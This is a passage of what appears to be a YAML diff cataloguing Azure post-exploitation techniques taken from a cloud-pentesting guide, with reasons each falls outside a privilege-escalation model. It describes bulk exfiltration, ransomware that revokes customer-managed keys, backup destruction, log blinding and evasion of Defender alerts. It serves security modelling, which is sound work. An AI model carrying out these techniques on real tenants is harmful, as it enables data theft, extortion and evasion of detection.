passes most reputation filters and corporate proxies. This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#soft-delete--retention-as-attacker-controlled-data-retention + technique: Soft delete / retention as attacker-controlled data retention + source_revision: a66f094ede + reason: Extends the window in which the attacker can recover data that the victim deletes — turning "the user cleaned that up" into + "the attacker can still restore it for up to 365 days". This is storage data access, exfiltration, hosted content or destruction, + without another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-instances + technique: Backdoor Instances + source_revision: a66f094ede + reason: Persistent guest code on a VM reaches its attached managed identity; VM execution and extension paths are modelled by virtual_machines.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vmware-solution-avs-persistence.md#credential-rotation-persistence--lockout-rotatepassword + technique: Credential-rotation persistence & lockout (rotatePassword) + source_revision: a66f094ede + reason: rotate the CloudAdmin / NSX-T passwords and immediately re-read them with listAdminCredentials to hold fresh, exclusive credentials + (persistence). The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#advisor-as-a-recon-oracle + technique: Advisor as a recon oracle + source_revision: a66f094ede + reason: 'Returns a curated, pre-computed misconfiguration inventory for the whole subscription with zero scanning: Security findings + (Defender-for-Cloud assessments surfaced through Advisor), Cost findings that pinpoint…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#suppressing-the-findings-you-create + technique: Suppressing the findings you create + source_revision: a66f094ede + reason: A suppression hides one Advisor recommendation for one resource (e.g. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-advisor-post-exploitation.md#excluding-the-whole-scope-from-advisor + technique: Excluding the whole scope from Advisor + source_revision: a66f094ede + reason: Setting exclude:true on configurations/default at subscription or resource-group scope drops that entire scope out of recommendation + generation for every category at once, so no new finding about your activity is…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-analysis-services-post-exploitation.md#suspend--resume--delete-availability--cost + technique: Suspend / resume / delete (availability & cost) + source_revision: a66f094ede + reason: suspend takes the server (and all BI) offline; repeated resume drives cost on the pay-per-hour SKU; delete destroys the server. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#bulk-exfil--loot-persistence-via-snapshots-configurationstoressnapshotsread--write + technique: Bulk exfil & loot-persistence via snapshots (configurationStores/snapshots/read / write) + source_revision: a66f094ede + reason: a snapshot is an immutable, point-in-time capture of every matching key-value in one object. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#delete-and-purge-the-store + technique: Delete and purge the store + source_revision: a66f094ede + reason: permanently remove the soft-deleted store and its application configuration. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#steal-the-accounts-managed-identity-token + technique: Steal the account's managed identity token + source_revision: a66f094ede + reason: Runbook code and output-read paths to the account managed identity or stored credentials are modelled by the Automation runbook + and credential-asset entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#dump-encrypted-variables-and-stored-credentials + technique: Dump encrypted variables and stored credentials + source_revision: a66f094ede + reason: Runbook code and output-read paths to the account managed identity or stored credentials are modelled by the Automation runbook + and credential-asset entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#harvest-secrets-from-prior-job-output-and-streams + technique: Harvest secrets from prior job output and streams + source_revision: a66f094ede + reason: Disclosure of any secret that a previous job wrote to its output/verbose/error streams — commonly tokens and credentials from + operational runbooks that were never designed to be read by a lower-privileged principal. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#read-runbook-source-for-hardcoded-secrets + technique: Read runbook source for hardcoded secrets + source_revision: a66f094ede + reason: Disclosure of any secret embedded directly in runbook code, plus a full map of what the account automates (which resources, + which identities, which external systems) — useful for planning further lateral movement. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#enumerate-connections-and-other-assets + technique: Enumerate connections and other assets + source_revision: a66f094ede + reason: Identifies which external identities the account can assume and provides the non-secret half (app ID, tenant, thumbprint); + paired with the corresponding certificate/secret it yields authentication as that service…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#identifying-reusable-namespaces-hf + technique: Identifying Reusable Namespaces (HF) + source_revision: a66f094ede + reason: The section identifies possible model namespace reuse; it is reconnaissance without an authenticated permission grant or identity + takeover. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#recognition-heuristics-http + technique: Recognition Heuristics (HTTP) + source_revision: a66f094ede + reason: The HTTP heuristics identify AI endpoints; they are reconnaissance and grant no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#retain-a-generated-vault-credential--register-a-rogue-agent + technique: Retain a generated vault credential / register a rogue agent + source_revision: a66f094ede + reason: a vault credential lets an attacker-controlled machine/agent register to the vault and interact with backup data (and via + ILR/restore, read it). The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#restore-vm--disks-to-attacker-rg-or-subscription + technique: Restore VM / disks to attacker RG or subscription + source_revision: a66f094ede + reason: the attacker obtains a full copy of the VM's OS + data disks (VHDs land in their staging storage account or as managed disks + in their RG), then mounts/downloads offline to extract SAM/NTDS, DPAPI blobs, cached creds,…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#instant-item-level-recovery-quietest-exfil + technique: Instant Item-Level Recovery (quietest exfil) + source_revision: a66f094ede + reason: provisions an iSCSI mount of the recovery point onto a machine the operator runs the downloaded ILR script from; the attacker + browses the VM file system and copies out arbitrary files without deploying any VM or disk…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#sql--sap-hana--azure-files--blob-restore + technique: SQL / SAP HANA / Azure Files / Blob restore + source_revision: a66f094ede + reason: reconstitutes production databases / file shares / blobs into the attacker's own storage account or VM to read at leisure; + no data-plane grant on the source is required. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#cross-region-restore-read-from-the-paired-secondary-region + technique: Cross-Region Restore (read from the paired secondary region) + source_revision: a66f094ede + reason: restores protected VMs/disks into the paired/secondary region to an attacker RG/storage account — useful to operate where + primary-region monitoring differs. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#cross-tenant-vault-mapping--vaultcredentialsgenerate-exfil-across-a-tenant-boundary + technique: Cross-tenant vault mapping + vaultCredentials/generate (exfil across a tenant boundary) + source_revision: a66f094ede + reason: the cross-tenant vault mapping extends restore across an Entra tenant boundary — a mapping written to a foreign tenant plus + a generated vault credential lets a principal/agent in another tenant enumerate recovery…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#azure-site-recovery--clone-or-disrupt-a-protected-vm + technique: Azure Site Recovery — clone or disrupt a protected VM + source_revision: a66f094ede + reason: Test failover spins up an isolated bootable clone of the protected VM in a test network without disrupting or committing — + a stealthy way to get a copy, mount disks and read secrets, then clean up; it looks like a…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#remove--unlock-the-resource-guard-strip-mua + technique: Remove / unlock the Resource Guard (strip MUA) + source_revision: a66f094ede + reason: removes the multi-user-authorization gate, re-enabling single-actor execution of all otherwise-guarded critical ops (disable + soft delete, stop-protection-with-delete, policy reduction, security PIN, disable immutability). The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#stop-protection-with-delete-data + technique: Stop protection with delete data + source_revision: a66f094ede + reason: stops backups and deletes recovery points for the item — the primary ransomware-enabling move. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-backup-and-recovery-services-post-exploitation.md#disable-soft-delete--weaken-security-config + technique: Disable soft delete / weaken security config + source_revision: a66f094ede + reason: turns off (or shortens) the safety net that would let victims recover deleted backups — a precursor to hard-deletion. The + section documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#blob-inventory-report-full-object-catalog-without-readlist + technique: 'Blob inventory report: full object catalog without read/list' + source_revision: a66f094ede + reason: The platform generates a scheduled CSV/Parquet report cataloguing every blob (name, path, size, tier, versions/snapshots, + metadata, tags, hashes) into a destination container — without the attacker holding blobs/read…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#storage-account-name-takeover-of-diagnostic-exports + technique: Storage account name takeover of diagnostic exports + source_revision: a66f094ede + reason: Future exported telemetry (diagnostic logs, metrics, audit archives) is delivered to an attacker-controlled account — a durable + log-exfiltration and log-blinding primitive against the victim's own monitoring pipeline. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#delete + technique: \/delete + source_revision: a66f094ede + reason: 'Destruction / denial of service: losing application data, audit archives or backups. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#account-wide-cmk-ransomware-repoint-keyvaultproperties-to-an-attacker-key + technique: 'Account-wide CMK ransomware: repoint keyVaultProperties to an attacker key' + source_revision: a66f094ede + reason: Repointing storage account encryption to an attacker-controlled Key Vault key creates whole-account data lockout when that + key is revoked; no identity token or role is gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#surgical-ransomware-with-encryptionscopeswrite--attacker-cmk + technique: Surgical ransomware with encryptionScopes/write + attacker CMK + source_revision: a66f094ede + reason: Selective, container/blob-scoped encryption lockout — the attacker chooses exactly which objects become unreadable, rather + than the whole account. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#anti-forensics-disable-versioning-change-feed-and-soft-delete-before-a-wipe + technique: 'Anti-forensics: disable versioning, change feed and soft delete before a wipe' + source_revision: a66f094ede + reason: Converts recoverable, logged deletes into irreversible, untraceable ones. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#account-failover-as-dos--data-loss-storageaccountsfailoveraction + technique: Account failover as DoS / data loss (storageAccounts/failover/action) + source_revision: a66f094ede + reason: A single control-plane action triggers a customer-initiated failover to the secondary region. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#lifecycle-tier-to-archive-delayed-availability--cost-dos + technique: 'Lifecycle tier-to-Archive: delayed availability & cost DoS' + source_revision: a66f094ede + reason: The platform moves live blobs to the Archive tier, where they are offline — reads fail until a rehydration that takes up to + ~15 hours and incurs early-deletion + rehydration charges. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#related-privesc-path-acr-tasks-managed-identities + technique: 'Related privesc path: ACR Tasks managed identities' + source_revision: a66f094ede + reason: The ACR Task managed-identity takeover is modelled by the task entries in container_registry.yaml; this heading only cross-references + them. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#data-plane-users--permissions--resource-tokens-scoped-credential-persistence + technique: Data-plane Users + Permissions → resource tokens (scoped-credential persistence) + source_revision: a66f094ede + reason: Durable, low-noise data-plane foothold that survives independently of the control plane. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#cmk-revocation-denial-of-data--ransom + technique: CMK revocation "denial-of-data" / ransom + source_revision: a66f094ede + reason: Whole-account denial of data — a ransomware-style primitive needing no data-plane access and no key exfiltration. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#throughputsettingswrite--migratetoautoscaleaction-denial-of-wallet + technique: '.../throughputSettings/write + migrateToAutoscale/action (denial-of-wallet)' + source_revision: a66f094ede + reason: Runaway cost or a throttling outage. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#cost-data-as-recon + technique: Cost data as recon + source_revision: a66f094ede + reason: A single grouped ActualCost query is effectively az resource list for the whole billing scope — enumerating subscriptions/resource + groups you cannot otherwise see, plus a liveness signal showing which resources are…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#continuous-export--external-tables-to-attacker-storage--bulk-exfiltration + technique: Continuous export / external tables to attacker storage — bulk exfiltration + source_revision: a66f094ede + reason: define an external table over an attacker blob/SAS and continuously export query results there (or one-shot .export) — sustained, + automated exfiltration of the database's data to storage the defender does not control. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#cross-cluster-follower-attach--near-real-time-exfil-to-an-attacker-cluster + technique: Cross-cluster follower attach — near-real-time exfil to an attacker cluster + source_revision: a66f094ede + reason: replicate the victim's database into a cluster the attacker fully controls as a follower (near-real-time read-only copy), + then read all of it via the attacker's own data plane — mass exfiltration that never touches…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#data-connection-repoint--hijack--event-hub--iot-ingestion-tampering + technique: Data-connection repoint / hijack — Event Hub / IoT ingestion tampering + source_revision: a66f094ede + reason: Repointing an Event Hub/IoT ingestion connection poisons or diverts Kusto data; it does not give the caller the cluster managed + identity or another Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#in-place-data-explorer-cluster-level-tap-stealthiest + technique: In-place Data Explorer cluster-level tap (stealthiest) + source_revision: a66f094ede + reason: a cluster-scoped in-place share creates a live symbolic link that gives the recipient tenant real-time query access to all + current and future databases on the cluster — no copy job runs, so there is minimal telemetry…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#cross-tenant-snapshot-exfil-share-marquee + technique: Cross-tenant snapshot exfil share (marquee) + source_revision: a66f094ede + reason: the attacker adds sensitive Blob/ADLS/SQL/Synapse datasets to a share and sends an invitation to an attacker-controlled external + tenant. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-share-post-exploitation.md#scheduled-incremental-snapshot-persistence-headline + technique: Scheduled incremental-snapshot persistence (headline) + source_revision: a66f094ede + reason: the attacker attaches an hourly/daily synchronization schedule to an incremental share. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#loot-the-inventory-read-only-recon + technique: Loot the inventory (read-only recon) + source_revision: a66f094ede + reason: 'Pulls the org''s pre-built external attack-surface map without touching a target host: full asset inventory (hosts, domains, + IP blocks, pages, SSL certs, contacts, ASNs), the confirmed-exposed subset (open sensitive…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#blind-discovery-so-new-exposure-is-never-indexed + technique: Blind discovery so new exposure is never indexed + source_revision: a66f094ede + reason: Deleting or narrowing the discovery groups stops the recurring-discovery recursion that would crawl from the seeds to a new + attacker asset (a new subdomain, a service on an existing host), so that asset never enters…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-easm-post-exploitation.md#bury-an-asset-that-did-get-discovered + technique: Bury an asset that did get discovered + source_revision: a66f094ede + reason: Setting an already-discovered attacker asset's state to dismissed/archived drops it from the default 'confirmed inventory' + views and the change dashboards analysts watch, without deleting anything visibly. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#general-blending-guidance + technique: General blending guidance + source_revision: a66f094ede + reason: The guidance changes IP, timing and volume to avoid detection while using already-held permissions; it grants no additional + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-resource-manager--arm_-arm-control-plane + technique: Defender for Resource Manager — ARM (ARM control plane) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-servers--vm_-scuba_-mde-host + technique: Defender for Servers — VM, SCUBA, MDE (host) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-storage--storage-blobfile-data-plane + technique: Defender for Storage — Storage. (blob/file data plane) + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-key-vault--kv_ + technique: Defender for Key Vault — KV + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-dns--azuredns_ + technique: Defender for DNS — AzureDNS + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-databases--sql-cosmos_ + technique: Defender for Databases — SQL., Cosmos + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-containers--k8s_-k8snode_ + technique: Defender for Containers — K8S, K8S.NODE + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-app-service--appservices_ + technique: Defender for App Service — AppServices + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#defender-for-apis--ai--api_-aiazure_ + technique: Defender for APIs / AI — API, AI.Azure + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#opting-resources-out-of-the-agents + technique: Opting resources out of the agents + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-deployment-stacks-post-exploitation.md#actiononunmanage-deleteall-mass-destruction + technique: 'actionOnUnmanage: deleteAll mass destruction' + source_revision: a66f094ede + reason: a deployment stack tracks managed resources spanning multiple resource groups / subscriptions. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-elastic-san-post-exploitation.md#snapshot-export--re-mount-data-exfiltration + technique: Snapshot-export → re-mount data exfiltration + source_revision: a66f094ede + reason: snapshot a victim volume, then create a new volume from that snapshot in any volume group in the same region — including one + the attacker can reach — and mount it over iSCSI. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#operate-in-the-under-monitored-sign-in-sub-streams + technique: Operate in the under-monitored sign-in sub-streams + source_revision: a66f094ede + reason: Choosing a service-principal, managed-identity or silent sign-in stream changes detection visibility; it assumes the caller + already holds those credentials and grants no new principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#let-retention-do-the-deleting + technique: Let retention do the deleting + source_revision: a66f094ede + reason: Relies on short native retention — 7 days (Free) / 30 days (P1/P2) for sign-in and audit logs — so that if no tenant diagnostic + setting exports logs, all evidence of activity ages out automatically within that window. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#keep-grapharm-activity-dark + technique: Keep Graph/ARM activity dark + source_revision: a66f094ede + reason: 'Confines enumeration to Microsoft Graph reads and ARM GETs, which are largely invisible: Microsoft Graph Activity Logs are + off by default (exist only if a diagnostic setting exports them) and the Azure Activity Log…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-logs-post-exploitation.md#break-the-export-pipeline-the-stop-cloudtrail-analogue + technique: Break the export pipeline (the "stop CloudTrail" analogue) + source_revision: a66f094ede + reason: Deletes or narrows the single tenant-level diagnostic setting that copies Entra logs to the SIEM past native retention, stopping + all future export (delete) or silently dropping just the categories that record the…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#the-detections-and-how-each-is-triggered--avoided + technique: The detections, and how each is triggered / avoided + source_revision: a66f094ede + reason: Avoids raising Identity Protection sign-in-risk and user-risk so risk-based CA never challenges the session and the SOC gets + no risky-user/sign-in signal — achieved by operating from the victim's usual…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#clearing-risk-if-you-have-the-rights + technique: Clearing risk (if you have the rights) + source_revision: a66f094ede + reason: Dismisses a risky-user state or confirms it safe, clearing risk that would otherwise trigger risk-based CA (block/step-up) + or alert the SOC — retroactively cleaning up risk you already raised. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-entra-id-protection-post-exploitation.md#weaken-the-engine-tampering + technique: Weaken the engine (tampering) + source_revision: a66f094ede + reason: Excludes the operating account from risk-based CA so risk is scored but never enforced (still sign in), and notes that tenants + without Entra ID P2 aren't running the real-time detections / risk-based CA at all —…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#read-already-captured-avro-blobs-from-the-capture-storage-account + technique: Read already-captured Avro blobs from the capture storage account + source_revision: a66f094ede + reason: If Capture is already enabled (common for compliance/analytics), the historical event stream is sitting in Blob/ADLS as Avro. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#capture-repoint--archive-the-stream-to-attacker-storage-eventhubswrite + technique: Capture repoint — archive the stream to attacker storage (eventhubs/write) + source_revision: a66f094ede + reason: Enable — or repoint an existing — Event Hubs Capture so the full event stream is serialized to Avro blobs in a storage account + the attacker can read. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#network-lock-out--exposure--networkrulesetswrite + technique: Network lock-out / exposure — networkRuleSets/write + source_revision: a66f094ede + reason: Two abuses. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#purge-retained-events-early--lower-messageretentionindays-eventhubswrite + technique: Purge retained events early — lower messageRetentionInDays (eventhubs/write) + source_revision: a66f094ede + reason: Shrinking retention forces early expiry of buffered events — destroying not-yet-consumed data and shortening the forensic + window, a subtler DoS than deletion. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#destructive-dos--delete-namespace--event-hub--consumer-group + technique: Destructive DoS — delete namespace / event hub / consumer group + source_revision: a66f094ede + reason: Deleting a hub drops all retained events and Capture config; deleting a namespace destroys all hubs, consumer groups and SAS + rules → permanent event loss and outage for all producers/consumers.[[4]](#references) bash…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#lock-out-sas-clients--disablelocalauthtrue-namespaceswrite + technique: Lock out SAS clients — disableLocalAuth=true (namespaces/write) + source_revision: a66f094ede + reason: Setting disableLocalAuth=true instantly invalidates every SAS credential in the namespace, breaking any producer/consumer + that relies on connection strings (extremely common) — a one-line, reversible-but-disruptive…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#geo-dr-failover--break-pairing-hijack-disasterrecoveryconfigs + technique: Geo-DR failover / break-pairing hijack (disasterRecoveryConfigs/) + source_revision: a66f094ede + reason: failover repoints the Geo-DR alias to the secondary and permanently breaks the pairing (once-only, near-instant); break-pairing + tears down replication. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#customer-managed-key-cmk-revocation-dos + technique: Customer-managed key (CMK) revocation DoS + source_revision: a66f094ede + reason: Revoking or disabling the CMK renders the namespace's data unreadable → hard DoS / potential data loss (the same envelope-encryption + denial primitive used against Storage/Cosmos/ACR). The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: 